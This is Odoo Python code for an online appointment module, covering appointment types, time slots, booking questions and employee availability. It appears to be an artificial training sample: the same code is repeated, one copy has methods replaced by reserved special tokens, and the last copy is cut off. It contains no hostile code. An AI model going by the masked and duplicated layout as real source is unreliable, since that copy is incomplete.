'Etc/GMT+1' :param employee: if set will only check available slots for this employee :returns: list of dicts (1 per month) containing available slots per day per week. complex structure used to simplify rendering of template """ self.ensure_one() appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( hours=self.min_schedule_hours)) last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( days=self.max_schedule_days)) slots = self._slots_generate(first_day.astimezone(appt_tz), last_day.astimezone(appt_tz), timezone) if not employee or employee in self.employee_ids: self._slots_available(slots, first_day.astimezone(pytz.UTC), last_day.astimezone(pytz.UTC), employee) today = requested_tz.fromutc(datetime.utcnow()) start = today month_dates_calendar = cal.Calendar(0).monthdatescalendar months = [] while (start.year, start.month) <= (last_day.year, last_day.month): dates = month_dates_calendar(start.year, start.month) for week_index, week in enumerate(dates): for day_index, day in enumerate(week): mute_cls = weekend_cls = today_cls = None today_slots = [] if day.weekday() in (cal.SUNDAY, cal.SATURDAY): weekend_cls = 'o_weekend' if day == today.date() and day.month == today.month: today_cls = 'o_today' if day.month != start.month: mute_cls = 'text-muted o_mute_day' else: while slots and slots[0][timezone][0].date() <= day: if slots[0][timezone][0].date( ) == day and 'employee_id' in slots[0]: today_slots.append({'employee_id': slots[0] ['employee_id'].id, 'datetime': slots[0 ][timezone][0].strftime( '%Y-%m-%d %H:%M:%S'), 'hours': slots[0] [timezone][0].strftime('%H:%M')}) slots.pop(0) dates[week_index][day_index] = {'day': day, 'slots': today_slots, 'mute_cls': mute_cls, 'weekend_cls': weekend_cls, 'today_cls': today_cls} months.append({'month': format_datetime(start, 'MMMM Y', locale =get_lang(self.env).code), 'weeks': dates}) start = start + relativedelta(months=1) return months class CalendarAppointmentSlot(models.Model): _name = 'calendar.appointment.slot' _description = 'Online Appointment : Time Slot' _rec_name = 'weekday' _order = 'weekday, hour' appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3', 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'), ('7', 'Sunday')], string='Week Day', required=True) hour = fields.Float('Starting Hour', required=True, default=8.0) @api.constrains('hour') def check_hour(self): if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self): raise ValidationError(_( 'Please enter a valid hour between 0:00 and 24:00 for your slots.' )) def name_get(self): weekdays = dict(self._fields['weekday'].selection) return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % ( weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour % 1 * 60))))) class CalendarAppointmentQuestion(models.Model): _name = 'calendar.appointment.question' _description = 'Online Appointment : Questions' _order = 'sequence' sequence = fields.Integer('Sequence') appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') name = fields.Char('Question', translate=True, required=True) placeholder = fields.Char('Placeholder', translate=True) question_required = fields.Boolean('Required Answer') question_type = fields.Selection([('char', 'Single line text'), ('text', 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio', 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)' )], 'Question Type', default='char') answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers') class CalendarAppointmentAnswer(models.Model): _name = 'calendar.appointment.answer' _description = 'Online Appointment : Answers' question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions') name = fields.Char('Answer', translate=True, required=True) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class CalendarAppointmentType(models.Model): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> def _compute_website_url(self): super(CalendarAppointmentType, self)._compute_website_url() for appointment_type in self: if appointment_type.id: appointment_type.website_url = '/calendar/%s/appointment' % ( slug(appointment_type),) <\|reserved_special_token_0\|> def action_calendar_meetings(self): self.ensure_one() action = self.env['ir.actions.actions']._for_xml_id( 'calendar.action_calendar_event') action['context'] = {'default_appointment_type_id': self.id, 'search_default_appointment_type_id': self.id} return action <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> def _get_appointment_slots(self, timezone, employee=None): """ Fetch available slots to book an appointment :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1' :param employee: if set will only check available slots for this employee :returns: list of dicts (1 per month) containing available slots per day per week. complex structure used to simplify rendering of template """ self.ensure_one() appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( hours=self.min_schedule_hours)) last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( days=self.max_schedule_days)) slots = self._slots_generate(first_day.astimezone(appt_tz), last_day.astimezone(appt_tz), timezone) if not employee or employee in self.employee_ids: self._slots_available(slots, first_day.astimezone(pytz.UTC), last_day.astimezone(pytz.UTC), employee) today = requested_tz.fromutc(datetime.utcnow()) start = today month_dates_calendar = cal.Calendar(0).monthdatescalendar months = [] while (start.year, start.month) <= (last_day.year, last_day.month): dates = month_dates_calendar(start.year, start.month) for week_index, week in enumerate(dates): for day_index, day in enumerate(week): mute_cls = weekend_cls = today_cls = None today_slots = [] if day.weekday() in (cal.SUNDAY, cal.SATURDAY): weekend_cls = 'o_weekend' if day == today.date() and day.month == today.month: today_cls = 'o_today' if day.month != start.month: mute_cls = 'text-muted o_mute_day' else: while slots and slots[0][timezone][0].date() <= day: if slots[0][timezone][0].date( ) == day and 'employee_id' in slots[0]: today_slots.append({'employee_id': slots[0] ['employee_id'].id, 'datetime': slots[0 ][timezone][0].strftime( '%Y-%m-%d %H:%M:%S'), 'hours': slots[0] [timezone][0].strftime('%H:%M')}) slots.pop(0) dates[week_index][day_index] = {'day': day, 'slots': today_slots, 'mute_cls': mute_cls, 'weekend_cls': weekend_cls, 'today_cls': today_cls} months.append({'month': format_datetime(start, 'MMMM Y', locale =get_lang(self.env).code), 'weeks': dates}) start = start + relativedelta(months=1) return months class CalendarAppointmentSlot(models.Model): _name = 'calendar.appointment.slot' _description = 'Online Appointment : Time Slot' _rec_name = 'weekday' _order = 'weekday, hour' appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3', 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'), ('7', 'Sunday')], string='Week Day', required=True) hour = fields.Float('Starting Hour', required=True, default=8.0) @api.constrains('hour') def check_hour(self): if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self): raise ValidationError(_( 'Please enter a valid hour between 0:00 and 24:00 for your slots.' )) def name_get(self): weekdays = dict(self._fields['weekday'].selection) return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % ( weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour % 1 * 60))))) class CalendarAppointmentQuestion(models.Model): _name = 'calendar.appointment.question' _description = 'Online Appointment : Questions' _order = 'sequence' sequence = fields.Integer('Sequence') appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') name = fields.Char('Question', translate=True, required=True) placeholder = fields.Char('Placeholder', translate=True) question_required = fields.Boolean('Required Answer') question_type = fields.Selection([('char', 'Single line text'), ('text', 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio', 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)' )], 'Question Type', default='char') answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers') class CalendarAppointmentAnswer(models.Model): _name = 'calendar.appointment.answer' _description = 'Online Appointment : Answers' question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions') name = fields.Char('Answer', translate=True, required=True) <\|reserved_special_token_1\|> import calendar as cal import random import pytz from datetime import datetime, timedelta, time from dateutil import rrule from dateutil.relativedelta import relativedelta from babel.dates import format_datetime from odoo import api, fields, models, _ from odoo.tools.misc import get_lang from odoo.addons.base.models.res_partner import _tz_get from odoo.addons.http_routing.models.ir_http import slug from odoo.exceptions import ValidationError class CalendarAppointmentType(models.Model): _name = 'calendar.appointment.type' _description = 'Online Appointment Type' _inherit = ['mail.thread', 'website.seo.metadata', 'website.published.mixin'] _order = 'sequence' sequence = fields.Integer('Sequence') name = fields.Char('Appointment Type', required=True, translate=True) min_schedule_hours = fields.Float('Schedule before (hours)', required= True, default=1.0) max_schedule_days = fields.Integer('Schedule not after (days)', required=True, default=15) min_cancellation_hours = fields.Float('Cancel Before (hours)', required =True, default=1.0) appointment_duration = fields.Float('Appointment Duration', required= True, default=1.0) reminder_ids = fields.Many2many('calendar.alarm', string='Reminders') location = fields.Char('Location', help='Location of the appointments') message_confirmation = fields.Html('Confirmation Message', translate=True) message_intro = fields.Html('Introduction Message', translate=True) country_ids = fields.Many2many('res.country', 'website_calendar_type_country_rel', string='Restrict Countries', help= 'Keep empty to allow visitors from any country, otherwise you only allow visitors from selected countries' ) question_ids = fields.One2many('calendar.appointment.question', 'appointment_type_id', string='Questions', copy=True) slot_ids = fields.One2many('calendar.appointment.slot', 'appointment_type_id', 'Availabilities', copy=True) appointment_tz = fields.Selection(_tz_get, string='Timezone', required= True, default=lambda self: self.env.user.tz, help= 'Timezone where appointment take place') employee_ids = fields.Many2many('hr.employee', 'website_calendar_type_employee_rel', domain=[('user_id', '!=', False)], string='Employees') assignation_method = fields.Selection([('random', 'Random'), ('chosen', 'Chosen by the Customer')], string='Assignment Method', default= 'random', help= 'How employees will be assigned to meetings customers book on your website.' ) appointment_count = fields.Integer('# Appointments', compute= '_compute_appointment_count') def _compute_appointment_count(self): meeting_data = self.env['calendar.event'].read_group([( 'appointment_type_id', 'in', self.ids)], ['appointment_type_id' ], ['appointment_type_id']) mapped_data = {m['appointment_type_id'][0]: m[ 'appointment_type_id_count'] for m in meeting_data} for appointment_type in self: appointment_type.appointment_count = mapped_data.get( appointment_type.id, 0) def _compute_website_url(self): super(CalendarAppointmentType, self)._compute_website_url() for appointment_type in self: if appointment_type.id: appointment_type.website_url = '/calendar/%s/appointment' % ( slug(appointment_type),) @api.returns('self', lambda value: value.id) def copy(self, default=None): default = default or {} default['name'] = self.name + _(' (copy)') return super(CalendarAppointmentType, self).copy(default=default) def action_calendar_meetings(self): self.ensure_one() action = self.env['ir.actions.actions']._for_xml_id( 'calendar.action_calendar_event') action['context'] = {'default_appointment_type_id': self.id, 'search_default_appointment_type_id': self.id} return action def _slots_generate(self, first_day, last_day, timezone): """ Generate all appointment slots (in naive UTC, appointment timezone, and given (visitors) timezone) between first_day and last_day (datetimes in appointment timezone) :return: [ {'slot': slot_record, <timezone>: (date_start, date_end), ...}, ... ] """ def append_slot(day, slot): local_start = appt_tz.localize(datetime.combine(day, time(hour= int(slot.hour), minute=int(round(slot.hour % 1 * 60))))) local_end = appt_tz.localize(datetime.combine(day, time(hour= int(slot.hour), minute=int(round(slot.hour % 1 * 60)))) + relativedelta(hours=self.appointment_duration)) slots.append({self.appointment_tz: (local_start, local_end), timezone: (local_start.astimezone(requested_tz), local_end. astimezone(requested_tz)), 'UTC': (local_start.astimezone( pytz.UTC).replace(tzinfo=None), local_end.astimezone(pytz. UTC).replace(tzinfo=None)), 'slot': slot}) appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) slots = [] for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == first_day.isoweekday()): if slot.hour > first_day.hour + first_day.minute / 60.0: append_slot(first_day.date(), slot) slot_weekday = [(int(weekday) - 1) for weekday in self.slot_ids. mapped('weekday')] for day in rrule.rrule(rrule.DAILY, dtstart=first_day.date() + timedelta(days=1), until=last_day.date(), byweekday=slot_weekday): for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == day.isoweekday()): append_slot(day, slot) return slots def _slots_available(self, slots, first_day, last_day, employee=None): """ Fills the slot stucture with an available employee :param slots: slots structure generated by _slots_generate :param first_day: start datetime in UTC :param last_day: end datetime in UTC :param employee: if set, only consider this employee if not set, consider all employees assigned to this appointment type """ def is_work_available(start_dt, end_dt, intervals): """ check if the slot is contained in the employee's work hours (defined by intervals) """ def find_start_index(): """ find the highest index of intervals for which the start_date (element [0]) is before (or at) start_dt """ def recursive_find_index(lower_bound, upper_bound): if upper_bound - lower_bound <= 1: if intervals[upper_bound][0] <= start_dt: return upper_bound return lower_bound index = (upper_bound + lower_bound) // 2 if intervals[index][0] <= start_dt: return recursive_find_index(index, upper_bound) else: return recursive_find_index(lower_bound, index) if start_dt <= intervals[0][0] - tolerance: return -1 if end_dt >= intervals[-1][1] + tolerance: return -1 return recursive_find_index(0, len(intervals) - 1) if not intervals: return False tolerance = timedelta(minutes=1) start_index = find_start_index() if start_index != -1: for index in range(start_index, len(intervals)): if intervals[index][1] >= end_dt - tolerance: return True if len(intervals) == index + 1 or intervals[index + 1][0 ] - intervals[index][1] > tolerance: return False return False def is_calendar_available(slot, events, employee): """ Returns True if the given slot doesn't collide with given events for the employee """ start_dt = slot['UTC'][0] end_dt = slot['UTC'][1] event_in_scope = lambda ev: fields.Date.to_date(ev.start ) <= fields.Date.to_date(end_dt) and fields.Date.to_date(ev .stop) >= fields.Date.to_date(start_dt) for ev in events.filtered(event_in_scope): if ev.allday: event_tz = pytz.timezone(ev.event_tz or employee. user_id.tz or self.env.user.tz or slot['slot']. appointment_type_id.appointment_tz or 'UTC') ev_start_dt = datetime.combine(fields.Date.from_string( ev.start_date), time.min) ev_stop_dt = datetime.combine(fields.Date.from_string( ev.stop_date), time.max) ev_start_dt = event_tz.localize(ev_start_dt).astimezone( pytz.UTC).replace(tzinfo=None) ev_stop_dt = event_tz.localize(ev_stop_dt).astimezone(pytz .UTC).replace(tzinfo=None) if ev_start_dt < end_dt and ev_stop_dt > start_dt: return False elif fields.Datetime.to_datetime(ev.start ) < end_dt and fields.Datetime.to_datetime(ev.stop ) > start_dt: return False return True workhours = {} meetings = {} available_employees = [emp.with_context(tz=emp.user_id.tz) for emp in employee or self.employee_ids] random.shuffle(available_employees) for slot in slots: for emp_pos, emp in enumerate(available_employees): if emp_pos not in workhours: workhours[emp_pos] = [(interval[0].astimezone(pytz.UTC) .replace(tzinfo=None), interval[1].astimezone(pytz. UTC).replace(tzinfo=None)) for interval in emp. resource_calendar_id._work_intervals_batch( first_day, last_day, resources=emp.resource_id)[emp .resource_id.id]] if is_work_available(slot['UTC'][0], slot['UTC'][1], workhours[emp_pos]): if emp_pos not in meetings: meetings[emp_pos] = self.env['calendar.event'].search([ ('partner_ids.user_ids', '=', emp.user_id.id), ('start', '<', fields.Datetime.to_string( last_day.replace(hour=23, minute=59, second=59) )), ('stop', '>', fields.Datetime.to_string( first_day.replace(hour=0, minute=0, second=0)))]) if is_calendar_available(slot, meetings[emp_pos], emp): slot['employee_id'] = emp break def _get_appointment_slots(self, timezone, employee=None): """ Fetch available slots to book an appointment :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1' :param employee: if set will only check available slots for this employee :returns: list of dicts (1 per month) containing available slots per day per week. complex structure used to simplify rendering of template """ self.ensure_one() appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( hours=self.min_schedule_hours)) last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( days=self.max_schedule_days)) slots = self._slots_generate(first_day.astimezone(appt_tz), last_day.astimezone(appt_tz), timezone) if not employee or employee in self.employee_ids: self._slots_available(slots, first_day.astimezone(pytz.UTC), last_day.astimezone(pytz.UTC), employee) today = requested_tz.fromutc(datetime.utcnow()) start = today month_dates_calendar = cal.Calendar(0).monthdatescalendar months = [] while (start.year, start.month) <= (last_day.year, last_day.month): dates = month_dates_calendar(start.year, start.month) for week_index, week in enumerate(dates): for day_index, day in enumerate(week): mute_cls = weekend_cls = today_cls = None today_slots = [] if day.weekday() in (cal.SUNDAY, cal.SATURDAY): weekend_cls = 'o_weekend' if day == today.date() and day.month == today.month: today_cls = 'o_today' if day.month != start.month: mute_cls = 'text-muted o_mute_day' else: while slots and slots[0][timezone][0].date() <= day: if slots[0][timezone][0].date( ) == day and 'employee_id' in slots[0]: today_slots.append({'employee_id': slots[0] ['employee_id'].id, 'datetime': slots[0 ][timezone][0].strftime( '%Y-%m-%d %H:%M:%S'), 'hours': slots[0] [timezone][0].strftime('%H:%M')}) slots.pop(0) dates[week_index][day_index] = {'day': day, 'slots': today_slots, 'mute_cls': mute_cls, 'weekend_cls': weekend_cls, 'today_cls': today_cls} months.append({'month': format_datetime(start, 'MMMM Y', locale =get_lang(self.env).code), 'weeks': dates}) start = start + relativedelta(months=1) return months class CalendarAppointmentSlot(models.Model): _name = 'calendar.appointment.slot' _description = 'Online Appointment : Time Slot' _rec_name = 'weekday' _order = 'weekday, hour' appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3', 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'), ('7', 'Sunday')], string='Week Day', required=True) hour = fields.Float('Starting Hour', required=True, default=8.0) @api.constrains('hour') def check_hour(self): if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self): raise ValidationError(_( 'Please enter a valid hour between 0:00 and 24:00 for your slots.' )) def name_get(self): weekdays = dict(self._fields['weekday'].selection) return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % ( weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour % 1 * 60))))) class CalendarAppointmentQuestion(models.Model): _name = 'calendar.appointment.question' _description = 'Online Appointment : Questions' _order = 'sequence' sequence = fields.Integer('Sequence') appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') name = fields.Char('Question', translate=True, required=True) placeholder = fields.Char('Placeholder', translate=True) question_required = fields.Boolean('Required Answer') question_type = fields.Selection([('char', 'Single line text'), ('text', 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio', 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)' )], 'Question Type', default='char') answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers') class CalendarAppointmentAnswer(models.Model): _name = 'calendar.appointment.answer' _description = 'Online Appointment : Answers' question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions') name = fields.Char('Answer', translate=True, required=True) <\|reserved_special_token_1\|> # -- coding: utf-8 -- # Part of Odoo. See LICENSE file for full copyright and licensing details. import calendar as cal import random import pytz from datetime import datetime, timedelta, time from dateutil import rrule from dateutil.relativedelta import relativedelta from babel.dates import format_datetime from odoo import api, fields, models, _ from odoo.tools.misc import get_lang from odoo.addons.base.models.res_partner import _tz_get from odoo.addons.http_routing.models.ir_http import slug from odoo.exceptions import ValidationError class CalendarAppointmentType(models.Model): _name = "calendar.appointment.type" _description = "Online Appointment Type" _inherit = ['mail.thread', "website.seo.metadata", 'website.published.mixin'] _order = "sequence" sequence = fields.Integer('Sequence') name = fields.Char('Appointment Type', required=True, translate=True) min_schedule_hours = fields.Float('Schedule before (hours)', required=True, default=1.0) max_schedule_days = fields.Integer('Schedule not after (days)', required=True, default=15) min_cancellation_hours = fields.Float('Cancel Before (hours)', required=True, default=1.0) appointment_duration = fields.Float('Appointment Duration', required=True, default=1.0) reminder_ids = fields.Many2many('calendar.alarm', string="Reminders") location = fields.Char('Location', help="Location of the appointments") message_confirmation = fields.Html('Confirmation Message', translate=True) message_intro = fields.Html('Introduction Message', translate=True) country_ids = fields.Many2many( 'res.country', 'website_calendar_type_country_rel', string='Restrict Countries', help="Keep empty to allow visitors from any country, otherwise you only allow visitors from selected countries") question_ids = fields.One2many('calendar.appointment.question', 'appointment_type_id', string='Questions', copy=True) slot_ids = fields.One2many('calendar.appointment.slot', 'appointment_type_id', 'Availabilities', copy=True) appointment_tz = fields.Selection( _tz_get, string='Timezone', required=True, default=lambda self: self.env.user.tz, help="Timezone where appointment take place") employee_ids = fields.Many2many('hr.employee', 'website_calendar_type_employee_rel', domain=[('user_id', '!=', False)], string='Employees') assignation_method = fields.Selection([ ('random', 'Random'), ('chosen', 'Chosen by the Customer')], string='Assignment Method', default='random', help="How employees will be assigned to meetings customers book on your website.") appointment_count = fields.Integer('# Appointments', compute='_compute_appointment_count') def _compute_appointment_count(self): meeting_data = self.env['calendar.event'].read_group([('appointment_type_id', 'in', self.ids)], ['appointment_type_id'], ['appointment_type_id']) mapped_data = {m['appointment_type_id'][0]: m['appointment_type_id_count'] for m in meeting_data} for appointment_type in self: appointment_type.appointment_count = mapped_data.get(appointment_type.id, 0) def _compute_website_url(self): super(CalendarAppointmentType, self)._compute_website_url() for appointment_type in self: if appointment_type.id : appointment_type.website_url = '/calendar/%s/appointment' % (slug(appointment_type),) @api.returns('self', lambda value: value.id) def copy(self, default=None): default = default or {} default['name'] = self.name + _(' (copy)') return super(CalendarAppointmentType, self).copy(default=default) def action_calendar_meetings(self): self.ensure_one() action = self.env["ir.actions.actions"]._for_xml_id("calendar.action_calendar_event") action['context'] = { 'default_appointment_type_id': self.id, 'search_default_appointment_type_id': self.id } return action # -------------------------------------- # Slots Generation # -------------------------------------- def _slots_generate(self, first_day, last_day, timezone): """ Generate all appointment slots (in naive UTC, appointment timezone, and given (visitors) timezone) between first_day and last_day (datetimes in appointment timezone) :return: [ {'slot': slot_record, <timezone>: (date_start, date_end), ...}, ... ] """ def append_slot(day, slot): local_start = appt_tz.localize(datetime.combine(day, time(hour=int(slot.hour), minute=int(round((slot.hour % 1) * 60))))) local_end = appt_tz.localize( datetime.combine(day, time(hour=int(slot.hour), minute=int(round((slot.hour % 1) * 60)))) + relativedelta(hours=self.appointment_duration)) slots.append({ self.appointment_tz: ( local_start, local_end, ), timezone: ( local_start.astimezone(requested_tz), local_end.astimezone(requested_tz), ), 'UTC': ( local_start.astimezone(pytz.UTC).replace(tzinfo=None), local_end.astimezone(pytz.UTC).replace(tzinfo=None), ), 'slot': slot, }) appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) slots = [] for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == first_day.isoweekday()): if slot.hour > first_day.hour + first_day.minute / 60.0: append_slot(first_day.date(), slot) slot_weekday = [int(weekday) - 1 for weekday in self.slot_ids.mapped('weekday')] for day in rrule.rrule(rrule.DAILY, dtstart=first_day.date() + timedelta(days=1), until=last_day.date(), byweekday=slot_weekday): for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == day.isoweekday()): append_slot(day, slot) return slots def _slots_available(self, slots, first_day, last_day, employee=None): """ Fills the slot stucture with an available employee :param slots: slots structure generated by _slots_generate :param first_day: start datetime in UTC :param last_day: end datetime in UTC :param employee: if set, only consider this employee if not set, consider all employees assigned to this appointment type """ def is_work_available(start_dt, end_dt, intervals): """ check if the slot is contained in the employee's work hours (defined by intervals) """ def find_start_index(): """ find the highest index of intervals for which the start_date (element [0]) is before (or at) start_dt """ def recursive_find_index(lower_bound, upper_bound): if upper_bound - lower_bound <= 1: if intervals[upper_bound][0] <= start_dt: return upper_bound return lower_bound index = (upper_bound + lower_bound) // 2 if intervals[index][0] <= start_dt: return recursive_find_index(index, upper_bound) else: return recursive_find_index(lower_bound, index) if start_dt <= intervals[0][0] - tolerance: return -1 if end_dt >= intervals[-1][1] + tolerance: return -1 return recursive_find_index(0, len(intervals) - 1) if not intervals: return False tolerance = timedelta(minutes=1) start_index = find_start_index() if start_index != -1: for index in range(start_index, len(intervals)): if intervals[index][1] >= end_dt - tolerance: return True if len(intervals) == index + 1 or intervals[index + 1][0] - intervals[index][1] > tolerance: return False return False def is_calendar_available(slot, events, employee): """ Returns True if the given slot doesn't collide with given events for the employee """ start_dt = slot['UTC'][0] end_dt = slot['UTC'][1] event_in_scope = lambda ev: ( fields.Date.to_date(ev.start) <= fields.Date.to_date(end_dt) and fields.Date.to_date(ev.stop) >= fields.Date.to_date(start_dt) ) for ev in events.filtered(event_in_scope): if ev.allday: # allday events are considered to take the whole day in the related employee's timezone event_tz = pytz.timezone(ev.event_tz or employee.user_id.tz or self.env.user.tz or slot['slot'].appointment_type_id.appointment_tz or 'UTC') ev_start_dt = datetime.combine(fields.Date.from_string(ev.start_date), time.min) ev_stop_dt = datetime.combine(fields.Date.from_string(ev.stop_date), time.max) ev_start_dt = event_tz.localize(ev_start_dt).astimezone(pytz.UTC).replace(tzinfo=None) ev_stop_dt = event_tz.localize(ev_stop_dt).astimezone(pytz.UTC).replace(tzinfo=None) if ev_start_dt < end_dt and ev_stop_dt > start_dt: return False elif fields.Datetime.to_datetime(ev.start) < end_dt and fields.Datetime.to_datetime(ev.stop) > start_dt: return False return True workhours = {} meetings = {} # With context will be used in resource.calendar to force the referential user # for work interval computing to the user linked to the employee available_employees = [emp.with_context(tz=emp.user_id.tz) for emp in (employee or self.employee_ids)] random.shuffle(available_employees) for slot in slots: for emp_pos, emp in enumerate(available_employees): if emp_pos not in workhours: workhours[emp_pos] = [ (interval[0].astimezone(pytz.UTC).replace(tzinfo=None), interval[1].astimezone(pytz.UTC).replace(tzinfo=None)) for interval in emp.resource_calendar_id._work_intervals_batch( first_day, last_day, resources=emp.resource_id, )[emp.resource_id.id] ] if is_work_available(slot['UTC'][0], slot['UTC'][1], workhours[emp_pos]): if emp_pos not in meetings: # note: no check is made on the attendee's status (accepted/declined/...) meetings[emp_pos] = self.env['calendar.event'].search([ ('partner_ids.user_ids', '=', emp.user_id.id), ('start', '<', fields.Datetime.to_string(last_day.replace(hour=23, minute=59, second=59))), ('stop', '>', fields.Datetime.to_string(first_day.replace(hour=0, minute=0, second=0))) ]) if is_calendar_available(slot, meetings[emp_pos], emp): slot['employee_id'] = emp break def _get_appointment_slots(self, timezone, employee=None): """ Fetch available slots to book an appointment :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1' :param employee: if set will only check available slots for this employee :returns: list of dicts (1 per month) containing available slots per day per week. complex structure used to simplify rendering of template """ self.ensure_one() appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(hours=self.min_schedule_hours)) last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(days=self.max_schedule_days)) # Compute available slots (ordered) slots = self._slots_generate(first_day.astimezone(appt_tz), last_day.astimezone(appt_tz), timezone) if not employee or employee in self.employee_ids: self._slots_available(slots, first_day.astimezone(pytz.UTC), last_day.astimezone(pytz.UTC), employee) # Compute calendar rendering and inject available slots today = requested_tz.fromutc(datetime.utcnow()) start = today month_dates_calendar = cal.Calendar(0).monthdatescalendar months = [] while (start.year, start.month) <= (last_day.year, last_day.month): dates = month_dates_calendar(start.year, start.month) for week_index, week in enumerate(dates): for day_index, day in enumerate(week): mute_cls = weekend_cls = today_cls = None today_slots = [] if day.weekday() in (cal.SUNDAY, cal.SATURDAY): weekend_cls = 'o_weekend' if day == today.date() and day.month == today.month: today_cls = 'o_today' if day.month != start.month: mute_cls = 'text-muted o_mute_day' else: # slots are ordered, so check all unprocessed slots from until > day while slots and (slots[0][timezone][0].date() <= day): if (slots[0][timezone][0].date() == day) and ('employee_id' in slots[0]): today_slots.append({ 'employee_id': slots[0]['employee_id'].id, 'datetime': slots[0][timezone][0].strftime('%Y-%m-%d %H:%M:%S'), 'hours': slots[0][timezone][0].strftime('%H:%M') }) slots.pop(0) dates[week_index][day_index] = { 'day': day, 'slots': today_slots, 'mute_cls': mute_cls, 'weekend_cls': weekend_cls, 'today_cls': today_cls } months.append({ 'month': format_datetime(start, 'MMMM Y', locale=get_lang(self.env).code), 'weeks': dates }) start = start + relativedelta(months=1) return months class CalendarAppointmentSlot(models.Model): _name = "calendar.appointment.slot" _description = "Online Appointment : Time Slot" _rec_name = "weekday" _order = "weekday, hour" appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') weekday = fields.Selection([ ('1', 'Monday'), ('2', 'Tuesday'), ('3', 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'), ('7', 'Sunday'), ], string='Week Day', required=True) hour = fields.Float('Starting Hour', required=True, default=8.0) @api.constrains('hour') def check_hour(self): if any(slot.hour < 0.00 or slot.hour >= 24.00 for slot in self): raise ValidationError(_("Please enter a valid hour between 0:00 and 24:00 for your slots.")) def name_get(self): weekdays = dict(self._fields['weekday'].selection) return self.mapped(lambda slot: (slot.id, "%s, %02d:%02d" % (weekdays.get(slot.weekday), int(slot.hour), int(round((slot.hour % 1) * 60))))) class CalendarAppointmentQuestion(models.Model): _name = "calendar.appointment.question" _description = "Online Appointment : Questions" _order = "sequence" sequence = fields.Integer('Sequence') appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete="cascade") name = fields.Char('Question', translate=True, required=True) placeholder = fields.Char('Placeholder', translate=True) question_required = 